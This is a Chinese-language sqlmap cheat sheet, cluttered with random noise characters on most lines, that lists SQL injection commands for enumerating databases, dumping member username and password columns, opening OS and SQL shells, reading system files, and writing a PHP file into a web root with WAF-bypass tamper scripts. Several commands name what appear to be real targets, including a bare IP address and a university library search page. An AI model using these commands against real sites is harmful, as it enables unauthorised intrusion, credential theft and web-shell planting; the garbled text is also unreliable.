/pentest/database/sqlmap: l3 t8 o* d$ K! h
. ^3 e* |3 O; a# y. K1 A4 ?
update :::::> in the folder after execute following order : svn update; l+ C- p7 e0 p" z9 S, a
6 o$ R, D9 z+ b$ Y9 M
sqlmap.py -r 1.txt --current-db
' O8 u! @1 |- d- L& u( @ B. n! ?# T3 T; Y4 }
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
! R( |& L! q. R" [* U
3 p2 \+ i4 _, ]6 I- }* F, W==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) S- \3 D2 N4 Q1 r3 K1 M, u) U
猜解数据库
6 S7 M4 _. ~) K0 j6 ^; P. I./sqlmap.py -u "injection-url" --dbs
P; Q: R. Z8 F4 dsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
% Z2 h" {2 B/ _1 Q& @' E
6 i1 |5 d h3 o2 L猜解表名9 @- u; e/ r# b! N
./sqlmap.py -u "injection-url" -D database_name --tables
$ R* f# V, F+ `4 T2 w% `/ Y8 C( n( Z* R+ ?; J( H" O @
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
3 G7 e0 }! {9 N3 ]4 R6 Psqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" 5 b9 u4 m( Q. u" M" t; ?& a+ [
5 z# a/ w# \# y& | q& V. z6 @2 J2 csqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump7 V* D8 F: Q B7 x
1 d, i# }/ _ J; h( tsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"6 P2 d# {# q+ E7 r0 c) a
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
! I$ z2 |5 X# Gsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
4 s$ N& e J3 Z1 @) C5 ~* {* |+ T5 Esqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
9 V2 k d7 O* Y! I( }
- T; P7 r; U4 b# Y% o0 hsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"9 |# |2 r5 \: A3 v1 {% X; q; J5 g a
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
. k1 L- O w* h, I$ \& B9 P' Msqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"4 ~) S" ^( o4 f2 ^. g# d
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"' `2 i- `$ G+ l4 g
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump! o9 x/ e) h5 ]$ @% U( o% ~
% m& Z( D! M. W9 m- n/ B# r
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
7 n& \, H4 j1 G! ~sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
& A0 [/ u7 H; x A* w _: C6 H
! L% i$ @1 k' ~ ]) p c" R. t5 Hsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
2 a! h( \; }$ `4 v猜解列名5 W/ R9 s, P% w6 ~8 K% s$ d: Z
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
% M! ^$ @4 |) m4 u# K
# B7 D( Q4 k8 `$ fsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" % s, C& `/ I, f9 a( ? P
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
- [' w. S* L+ rsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
5 t6 J N8 d M! L1 U- q! Q; U( B
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
$ {( k: T8 }: r, c( X&submit=Go" L! E+ T# J/ X7 I. t$ z9 a
猜解值
- f0 |% N) y. T; j- N./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
3 O5 G3 A$ E3 S0 o2 Q) G& m========================================================2 X. f4 q3 E2 w$ @9 a
搜索表名中包括mana字符的+ y' D3 S0 h. T1 y
/sqlmap.py -u "injection-url" -T mana --search) I( R! a9 Q" v- W( w
返回一个交互式sql shell
" B* u' d( T7 B$ a/sqlmap.py -u "injection-url" --sql-shell
3 a# S( v2 Q0 _9 Q% p' y* v9 {1 L- b ^读取指定文件(需权限)( W& Z( s9 |2 E% X: Z4 X1 ?+ g
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
: Z% t* t* R7 j4 T. v查看当前 用户 及 数据库
! F/ ]8 j. J0 ^8 \- p7 B/sqlmap.py -u "injection-url" --current-user --current-db
1 B4 \% U+ M9 {! I: X7 x& o, `, x本地文件 写入 远程目标绝对路径1 `$ g. o% P7 J& C! |. j( {0 D
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
1 y% ]& e3 ]' o; J: Usqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
: J7 C4 d, s+ _% O. b6 j1 O; g _: H( {* `" g5 i
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
" |& t1 w2 n4 H7 i/ `& r+ l查看某用的权限7 \8 p% n# n1 p1 n8 U
/sqlmap.py -u "injection-url" --privileges -U root; y9 _ e" K" i# P3 y0 }; @) g
查看当前用户是否为dba
9 x6 b. F( v( S a+ o t* p; J$ J O/sqlmap.py -u "injection-url" --is-dba% a! M$ M1 K# q- S
读取所有数据库用户或指定数据库用户的密码! D& a6 {0 |9 `+ Q! p6 F
sqlmap.py -r 1.txt --users --passwords2 {8 @8 U5 c2 `* k& O. Y. W, y
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
3 s: t% s' H0 R" F. ~$ Y* B: r! u$ A4 f% h. c
/sqlmap.py -u "injection-url" --passwords -U root
# R& @5 G/ [7 o$ N& c8 U7 L8 l/ n
" @6 `" _5 Y& |' J# ^8 D3 |--start&&--stop 与 --first&&--last 的区别7 L: Q. B' Y8 h q/ A( Z7 C7 [5 V" }
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……). n" y- X4 j( M; F% _/ \2 C
5 }. I) h/ `0 s1 A+ r @
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)( F7 I5 k' Y3 Y) {" {$ }
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
& B; x1 \" t) \! \8 O; u/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns+ p: M V( L; ]! E2 @
: i: v- I) `) _5 [6 {( K执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)9 l {) t9 L% N- M
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"# e; ^+ w" X6 d5 K
0 ]! b' i: N) f) t, g6 Z
|